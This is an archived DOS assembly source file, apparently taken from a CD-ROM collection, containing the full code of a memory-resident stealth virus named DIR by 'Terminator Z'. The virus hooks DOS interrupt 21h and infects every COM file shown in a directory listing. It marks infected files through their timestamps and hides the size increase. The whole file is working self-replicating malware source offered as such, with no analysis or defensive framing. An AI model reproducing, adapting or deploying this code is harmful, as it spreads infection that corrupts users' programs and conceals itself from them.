home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DIRR.ASM < prev    next >
Assembly Source File  |  1992-06-24  |  8KB  |  286 lines

  1.  
  2. ; DIR
  3. ;
  4. ; by Terminator Z
  5.  
  6. ; this virus will infect com files when you do a directory .. it will infect
  7. ; every com file as it comes up on the directory listing.
  8. ;
  9. ; this virus will not infect files if they have a seconds field of 58 seconds,
  10. ; and will hide the file size increase on these files while the virus is
  11. ; memory resident.
  12.  
  13.  
  14. v_start:
  15.  
  16.                 call si_set
  17. si_set:         pop si
  18.                 sub si, offset si_set
  19.                 mov bp, ds
  20.  
  21.                 mov ax, 0fedch
  22.                 int 21h
  23.                 jc exit_code
  24.  
  25.                 mov ax, ds
  26.                 dec ax
  27. tsr1:           mov ds, ax
  28.                 cmp byte ptr [0], 'Z'
  29.                 je tsr2
  30.                 add ax, word ptr [3]
  31.                 jmp tsr1
  32. tsr2:           cmp word ptr [3], p_len+1
  33.                 jb exit_code
  34.                 sub word ptr [3], p_len
  35.                 add ax, word ptr [3]
  36.                 inc ax
  37.                 sub ax, 10h
  38.                 mov di, 100h
  39.                 mov es, ax
  40.                 mov cx, 512
  41.                 add si, offset v_start
  42.                 mov ds, bp
  43.                 rep movsw
  44.                 xor si, si
  45.                 push ax
  46.                 mov ax, offset fix_ints
  47.                 push ax
  48.                 retf
  49.  
  50. fix_ints:       push cs
  51.                 pop ds
  52.                 mov ax, 3521h
  53.                 int 21h
  54.                 mov word ptr [old_21], bx
  55.                 mov word ptr [old_21+2], es
  56.                 mov dx, offset new_21
  57.                 mov ax, 2521h
  58.                 int 21h
  59.  
  60. exit_code:      add si, offset orig_3
  61.                 mov es, bp
  62.                 mov di, 100h
  63.                 push bp
  64.                 push di
  65.                 movsw
  66.                 movsb
  67.                 mov ds, bp
  68.                 xor ax, ax
  69.                 mov bx, ax
  70.                 mov dx, ax
  71.                 mov si, ax
  72.                 mov di, ax
  73.                 mov bp, ax
  74.                 retf
  75.  
  76. new_21:         clc
  77.                 cmp ah, 11h
  78.                 je chk
  79.                 cmp ah, 12h
  80.                 je chk
  81.                 cmp ah, 1ah
  82.                 je dta_set
  83.                 cmp ax, 0fedch
  84.                 jne i_exit
  85.                 stc                     ; set carry
  86.                 iret
  87. i_exit:         jmp dword ptr cs:[old_21]
  88.  
  89. function_call:  pushf
  90.                 call dword ptr cs:[old_21]
  91.                 ret
  92.  
  93. dta_set:        call function_call
  94.                 jnc ds2
  95. ds1:            retf 2
  96. ds2:            mov word ptr cs:[dta_save], dx
  97.                 mov word ptr cs:[dta_save+2], ds
  98.                 jmp short ds1
  99.  
  100. chk:            call function_call
  101.                 cmp al, 0
  102.                 je c2
  103.                 iret
  104. c2:             push ax
  105.                 push bx
  106.                 push cx
  107.                 push dx
  108.                 push si
  109.                 push di
  110.                 push ds
  111.                 push es
  112.                 push bp
  113.                 push cs
  114.                 pop es
  115.                 lds si, dword ptr cs:[dta_save]
  116.                 lodsb
  117.                 dec si
  118.                 cmp al, 0ffh
  119.                 jne c3
  120.                 add si, 7               ; fix all this shit up
  121. c3:             push si
  122.                 add si, 17h
  123.                 lodsw
  124.                 and ax, 29              ; 56 seconds
  125.                 jz c4
  126.                 add si, 4
  127.                 sub word ptr [si], v_len
  128.                 sbb word ptr [si-2], 0
  129.                 pop si
  130.                 jmp short c_exit
  131.  
  132. c4:             pop si
  133.                 mov bp, si
  134.                 add si, 9               ; up to extension
  135.                 lodsw
  136.                 and ax, 0dfdf           ; ->UC
  137.                 cmp ax, 'OC'
  138.                 jne c_exit
  139.                 lodsb
  140.                 and al, 0df
  141.                 cmp al, 'M'
  142.                 je c_inf
  143. c_exit:         pop bp
  144.                 pop es
  145.                 pop ds
  146.                 pop di
  147.                 pop si
  148.                 pop dx
  149.                 pop cx
  150.                 pop bx
  151.                 pop ax
  152.                 iret
  153. c_inf:          mov si, bp
  154.                 inc si
  155.                 mov di, filename_save
  156.                 mov cx, 8
  157. cmov1:          lodsb
  158.                 cmp al,  ' '
  159.                 je cmov2
  160.                 stosb
  161. cmov2:          loop cmov1
  162.                 mov al, '.'
  163.                 stosb
  164.                 movsw
  165.                 movsb
  166.                 xor ax, ax
  167.                 stosb                   ; make an ASCIIZ string
  168.  
  169. com_infection:  push cs
  170.                 pop ds
  171.                 mov ax, 3524h
  172.                 call function_call
  173.                 push bx
  174.                 push es
  175.                 push cs
  176.                 pop es
  177.                 mov dx, offset new_24
  178.                 mov ax, 2524h
  179.                 call function_call
  180.                 mov ax, 4300h
  181.                 mov dx, filename_save
  182.                 call function_call
  183.                 jnc k1
  184.                 jmp exit_1
  185. k1:             push cx
  186.                 mov ax, 4301h
  187.                 xor cx, cx
  188.                 call function_call
  189.                 jc exit_2
  190.                 mov ax, 3d02h
  191.                 call function_call
  192.                 mov bp, ax
  193.                 xchg ax, bx
  194.                 mov ax, 5700h
  195.                 call function_call
  196.                 push cx
  197.                 push dx
  198.                 mov dx, offset orig_3
  199.                 mov ah, 3fh
  200.                 mov cx, 3
  201.                 call function_call
  202.                 mov ax, 4202h
  203.                 xor cx, cx
  204.                 xor dx, dx
  205.                 call function_call
  206.                 or dx, dx
  207.                 jnz exit_3
  208.                 push ax
  209.                 add ax, 102h+v_len
  210.                 pop ax
  211.                 jc exit_3
  212.                 cmp ax, 3
  213.                 jb exit_3
  214.                 dec ax
  215.                 dec ax
  216.                 dec ax
  217.                 mov di, offset com_stub+1
  218.                 stosw
  219.                 mov ah, 40h
  220.                 mov cx, v_len
  221.                 mov dx, 100h
  222.                 call function_call
  223.                 cmp ax, v_len
  224.                 jb exit_4               ; check number of bytes written
  225.                 xor cx, cx
  226.                 xor dx, dx
  227.                 mov ax, 4200h
  228.                 call function_call
  229.                 mov ah, 40h
  230.                 mov cx, 3
  231.                 mov dx, offset com_stub
  232.                 call function_call
  233.                 pop dx
  234.                 pop cx
  235.                 or cx, 29
  236.                 push dx
  237.                 push cx
  238.  
  239. exit_4:         mov ax, 5701h
  240.                 pop dx
  241.                 pop cx
  242.                 call function_call
  243.  
  244. exit_3:         mov ah, 3eh
  245.                 call function_call
  246.  
  247. exit_2:         pop cx
  248.                 mov ax, 4301h
  249.                 mov dx, filename_save
  250.                 call function_call
  251.  
  252. exit_1:         pop ds
  253.                 pop dx
  254.                 mov ax, 2524h
  255.                 call function_call
  256.                 jmp c_exit
  257.  
  258.  
  259.  
  260.  
  261.  
  262.  
  263.  
  264.  
  265. new_24:         iret
  266.  
  267. orig_3:         int 20h
  268.                 nop
  269.  
  270. com_stub db     0e9h
  271.         dw      0
  272.  
  273.         db      ' DIR by Drunk Avenger [PuKE] x92! '
  274.  
  275. v_end:
  276.  
  277. old_21  equ     $
  278. dta_save equ    old_21 + 4
  279. infected equ    dta_save + 4
  280. filename_save equ infected + 1
  281.  
  282. p_len   equ     40h     ; 1k
  283. v_len   equ     v_end - v_start
  284.  
  285.  
  286.